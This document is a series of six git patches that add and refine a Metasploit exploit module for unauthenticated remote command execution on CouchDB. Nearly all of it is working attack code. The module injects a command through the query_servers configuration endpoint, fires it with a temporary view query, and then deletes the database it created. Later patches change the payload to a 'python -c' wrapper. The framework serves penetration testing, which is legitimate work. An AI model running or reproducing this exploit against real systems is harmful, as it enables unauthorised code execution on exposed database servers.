From ffc730160b8a68f37380cdbc1e5c2e41016de71d Mon Sep 17 00:00:00 2001 From: Vex Woo Date: Fri, 20 May 2016 10:12:28 -0500 Subject: [PATCH 1/6] add couchDB unauth remote rce module --- .../multi/http/couchdb_unauth_exec.rb | 144 ++++++++++++++++++ 1 file changed, 144 insertions(+) create mode 100644 modules/exploits/multi/http/couchdb_unauth_exec.rb diff --git a/modules/exploits/multi/http/couchdb_unauth_exec.rb b/modules/exploits/multi/http/couchdb_unauth_exec.rb new file mode 100644 index 0000000000..426f51b2ab --- /dev/null +++ b/modules/exploits/multi/http/couchdb_unauth_exec.rb @@ -0,0 +1,144 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'CouchDB Unauthentication Remote Command Execution', + 'Description' => %q{ + This module exploits a misconfiguration in CouchDB. If CouchDB api + without authentication, attackers can execute os commands with + the query_servers option in local.ini. + }, + 'Author' => [ + 'Nixawk', # original metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'blog.rot13.org/2010/11/triggers-in-couchdb-from-queue-to-external-command-execution.html' ], + [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ] + ], + 'Platform' => %w{ unix win }, + 'Targets' => + [ + [ 'Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs' }], + [ 'Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' }] + ], + 'DisclosureDate' => 'Nov 23 2010', + 'DefaultTarget' => 1 + )) + + register_options( + [ + Opt::RPORT(5984), + OptString.new('TARGETURI', [ true, 'The path to a default couchDB api', '/']) + ], self.class) + end + + def valid_json?(json) + begin + JSON.parse(json) + return true + rescue JSON::ParserError + return false + end + end + + def unauth? + uri = normalize_uri(datastore['TARGETURI']) + resp = send_request_cgi( + 'uri' => uri, + 'method' => 'GET' + ) + + resp && resp.code == 200 && resp.body.include?("couchdb") && valid_json?(resp.body) + end + + def execute_command(cmd, opts = {}) + @dbname = rand_text_alpha_lower(16) + @key = rand_text_alpha_lower(16) + @value = rand_text_alpha_lower(16) + + # save command + # command = "ls > /tmp/test1" + uri = normalize_uri(datastore['TARGETURI'], "_config/query_servers/#{@key}") + resp = send_request_cgi( + 'uri' => uri, + 'method' => 'PUT', + 'data' => "\"#{cmd}\"" + ) + return unless resp && resp.code == 200 && resp.body.include?("\"\"\n") + + # create datebase + uri = normalize_uri(datastore['TARGETURI'], @dbname) + resp = send_request_cgi( + 'uri' => uri, + 'method' => 'PUT' + ) + + return unless resp && resp.code == 201 && resp.body.include?("true") && valid_json?(resp.body) + + # create database key + data = "{\"#{@key}\": \"#{@value}\"}" + uri = normalize_uri(datastore['TARGETURI'], @dbname, @key) + resp = send_request_cgi( + 'uri' => uri, + 'method' => 'PUT', + 'data' => data + ) + + return unless resp && resp.code == 201 && resp.body.include?("true") && valid_json?(resp.body) + + # execute code + uri = normalize_uri(datastore['TARGETURI'], @dbname, "_temp_view?limit=11") + data = "{\"language\":\"#{@key}\",\"map\":\"\"}" + resp = send_request_cgi( + 'uri' => uri, + 'method' => 'POST', + 'ctype' => 'application/json', + 'data' => data + ) + + resp && resp.code == 500 && resp.body.include?("error") && valid_json?(resp.body) + + # delete database + uri = normalize_uri(datastore['TARGETURI'], @dbname) + resp = send_request_cgi( + 'uri' => uri, + 'method' => 'DELETE' + ) + + return unless resp && resp.code == 200 && resp.body.include?("true") && valid_json?(resp.body) + end + + def check + if unauth? + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + return unless unauth? + + case target['Platform'] + when 'win' + print_status("#{peer} - Sending command stager...") + execute_cmdstager({ :linemax => 2000 }) + when 'unix' + print_status("#{peer} - Sending payload...") + execute_command(payload.encoded) + end + end +end From 2715883fa248e818f1b3a128a52252a51409637d Mon Sep 17 00:00:00 2001 From: Vex Woo Date: Fri, 20 May 2016 10:54:14 -0500 Subject: [PATCH 2/6] fix url --- modules/exploits/multi/http/couchdb_unauth_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/couchdb_unauth_exec.rb b/modules/exploits/multi/http/couchdb_unauth_exec.rb index 426f51b2ab..f3a3f04aae 100644 --- a/modules/exploits/multi/http/couchdb_unauth_exec.rb +++ b/modules/exploits/multi/http/couchdb_unauth_exec.rb @@ -25,7 +25,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'blog.rot13.org/2010/11/triggers-in-couchdb-from-queue-to-external-command-execution.html' ], + [ 'URL', 'http://blog.rot13.org/2010/11/triggers-in-couchdb-from-queue-to-external-command-execution.html' ], [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ] ], 'Platform' => %w{ unix win }, From 55e22d753161bbfef944d8137ee50da6915f6cde Mon Sep 17 00:00:00 2001 From: Vex Woo Date: Wed, 25 May 2016 03:45:43 -0500 Subject: [PATCH 3/6] resp.get_json_document.empty? --- .../multi/http/couchdb_unauth_exec.rb | 85 ++++++++++++------- 1 file changed, 53 insertions(+), 32 deletions(-) diff --git a/modules/exploits/multi/http/couchdb_unauth_exec.rb b/modules/exploits/multi/http/couchdb_unauth_exec.rb index f3a3f04aae..7e6496e2dc 100644 --- a/modules/exploits/multi/http/couchdb_unauth_exec.rb +++ b/modules/exploits/multi/http/couchdb_unauth_exec.rb @@ -45,50 +45,42 @@ class MetasploitModule < Msf::Exploit::Remote ], self.class) end - def valid_json?(json) - begin - JSON.parse(json) - return true - rescue JSON::ParserError - return false - end - end - def unauth? - uri = normalize_uri(datastore['TARGETURI']) + uri = normalize_uri(datastore['TARGETURI'], ) resp = send_request_cgi( 'uri' => uri, 'method' => 'GET' ) - - resp && resp.code == 200 && resp.body.include?("couchdb") && valid_json?(resp.body) + return false unless resp + json_data = resp.get_json_document + return false if json_data.empty? + resp.code == 200 && json_data.key?('couchdb') end - def execute_command(cmd, opts = {}) - @dbname = rand_text_alpha_lower(16) - @key = rand_text_alpha_lower(16) - @value = rand_text_alpha_lower(16) - - # save command - # command = "ls > /tmp/test1" + def config_query_servers?(cmd) uri = normalize_uri(datastore['TARGETURI'], "_config/query_servers/#{@key}") resp = send_request_cgi( 'uri' => uri, 'method' => 'PUT', 'data' => "\"#{cmd}\"" ) - return unless resp && resp.code == 200 && resp.body.include?("\"\"\n") + return false unless resp + resp.code == 200 && resp.body.include?("\"\"\n") + end - # create datebase + def create_database? uri = normalize_uri(datastore['TARGETURI'], @dbname) resp = send_request_cgi( 'uri' => uri, 'method' => 'PUT' ) + return false unless resp + json_data = resp.get_json_document + return false if json_data.empty? + resp.code == 201 && json_data.key?('ok') && json_data['ok'] + end - return unless resp && resp.code == 201 && resp.body.include?("true") && valid_json?(resp.body) - - # create database key + def create_database_key_value? data = "{\"#{@key}\": \"#{@value}\"}" uri = normalize_uri(datastore['TARGETURI'], @dbname, @key) resp = send_request_cgi( @@ -96,11 +88,14 @@ class MetasploitModule < Msf::Exploit::Remote 'method' => 'PUT', 'data' => data ) + return false unless resp + json_data = resp.get_json_document + return false if json_data.empty? + resp.code == 201 && json_data.key?('ok') && json_data['ok'] + end - return unless resp && resp.code == 201 && resp.body.include?("true") && valid_json?(resp.body) - - # execute code - uri = normalize_uri(datastore['TARGETURI'], @dbname, "_temp_view?limit=11") + def query_database? + uri = normalize_uri(datastore['TARGETURI'], @dbname, '_temp_view?limit=11') data = "{\"language\":\"#{@key}\",\"map\":\"\"}" resp = send_request_cgi( 'uri' => uri, @@ -108,17 +103,43 @@ class MetasploitModule < Msf::Exploit::Remote 'ctype' => 'application/json', 'data' => data ) + return false unless resp + json_data = resp.get_json_document + return false if json_data.empty? + resp.code == 500 && json_data.key?('error') + end - resp && resp.code == 500 && resp.body.include?("error") && valid_json?(resp.body) - - # delete database + def delete_database? uri = normalize_uri(datastore['TARGETURI'], @dbname) resp = send_request_cgi( 'uri' => uri, 'method' => 'DELETE' ) + return false unless resp + json_data = resp.get_json_document + return false if json_data.empty? + resp.code == 200 && json_data.key?('ok') && json_data['ok'] + end - return unless resp && resp.code == 200 && resp.body.include?("true") && valid_json?(resp.body) + def execute_command(cmd, opts = {}) + @dbname = rand_text_alpha_lower(16) + @key = rand_text_alpha_lower(16) + @value = rand_text_alpha_lower(16) + + vprint_status("#{peer} - config query_servers to add commands") + return unless config_query_servers?(cmd) + + vprint_status("#{peer} - create a databse") + return unless create_database? + + vprint_status("#{peer} - create a database key/value pair") + return unless create_database_key_value? + + vprint_status("#{peer} - query database to execute command") + query_database? + + vprint_status("#{peer} - delete database") + delete_database? end def check From b893f17d2b575e884a794b1230ec0f3ccf7a2764 Mon Sep 17 00:00:00 2001 From: Vex Woo Date: Wed, 25 May 2016 04:05:30 -0500 Subject: [PATCH 4/6] make unauth? as what api doc says --- modules/exploits/multi/http/couchdb_unauth_exec.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/couchdb_unauth_exec.rb b/modules/exploits/multi/http/couchdb_unauth_exec.rb index 7e6496e2dc..148e8f11ba 100644 --- a/modules/exploits/multi/http/couchdb_unauth_exec.rb +++ b/modules/exploits/multi/http/couchdb_unauth_exec.rb @@ -26,7 +26,8 @@ class MetasploitModule < Msf::Exploit::Remote 'References' => [ [ 'URL', 'http://blog.rot13.org/2010/11/triggers-in-couchdb-from-queue-to-external-command-execution.html' ], - [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ] + [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ], + [ 'URL', 'http://docs.couchdb.org/en/1.6.1/api/server/configuration.html' ] ], 'Platform' => %w{ unix win }, 'Targets' => @@ -46,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote end def unauth? - uri = normalize_uri(datastore['TARGETURI'], ) + uri = normalize_uri(datastore['TARGETURI'], '_config') resp = send_request_cgi( 'uri' => uri, 'method' => 'GET' From 34a5ce481678f7b867daf80c9ec8ae7b3570be30 Mon Sep 17 00:00:00 2001 From: Vex Woo Date: Wed, 25 May 2016 04:07:09 -0500 Subject: [PATCH 5/6] Exploit::CheckCode::Vulnerable --> Exploit::CheckCode::Appears --- modules/exploits/multi/http/couchdb_unauth_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/couchdb_unauth_exec.rb b/modules/exploits/multi/http/couchdb_unauth_exec.rb index 148e8f11ba..12ab919599 100644 --- a/modules/exploits/multi/http/couchdb_unauth_exec.rb +++ b/modules/exploits/multi/http/couchdb_unauth_exec.rb @@ -145,7 +145,7 @@ class MetasploitModule < Msf::Exploit::Remote def check if unauth? - Exploit::CheckCode::Vulnerable + Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end From d9efc8d803a31222c959ab923ad7d25c0d931273 Mon Sep 17 00:00:00 2001 From: Vex Woo Date: Wed, 25 May 2016 19:32:55 -0500 Subject: [PATCH 6/6] set platform -> python --- .../exploits/multi/http/couchdb_unauth_exec.rb | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) diff --git a/modules/exploits/multi/http/couchdb_unauth_exec.rb b/modules/exploits/multi/http/couchdb_unauth_exec.rb index 12ab919599..23ca5c3ad2 100644 --- a/modules/exploits/multi/http/couchdb_unauth_exec.rb +++ b/modules/exploits/multi/http/couchdb_unauth_exec.rb @@ -29,14 +29,13 @@ class MetasploitModule < Msf::Exploit::Remote [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ], [ 'URL', 'http://docs.couchdb.org/en/1.6.1/api/server/configuration.html' ] ], - 'Platform' => %w{ unix win }, + 'Platform' => %w{ python }, 'Targets' => [ - [ 'Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs' }], - [ 'Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' }] + [ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' }] ], 'DisclosureDate' => 'Nov 23 2010', - 'DefaultTarget' => 1 + 'DefaultTarget' => 0 )) register_options( @@ -155,12 +154,9 @@ class MetasploitModule < Msf::Exploit::Remote return unless unauth? case target['Platform'] - when 'win' - print_status("#{peer} - Sending command stager...") - execute_cmdstager({ :linemax => 2000 }) - when 'unix' - print_status("#{peer} - Sending payload...") - execute_command(payload.encoded) + when 'python' + print_status("#{peer} - Sending python payload...") + execute_command("python -c \\\"#{payload.encoded}\\\"") end end end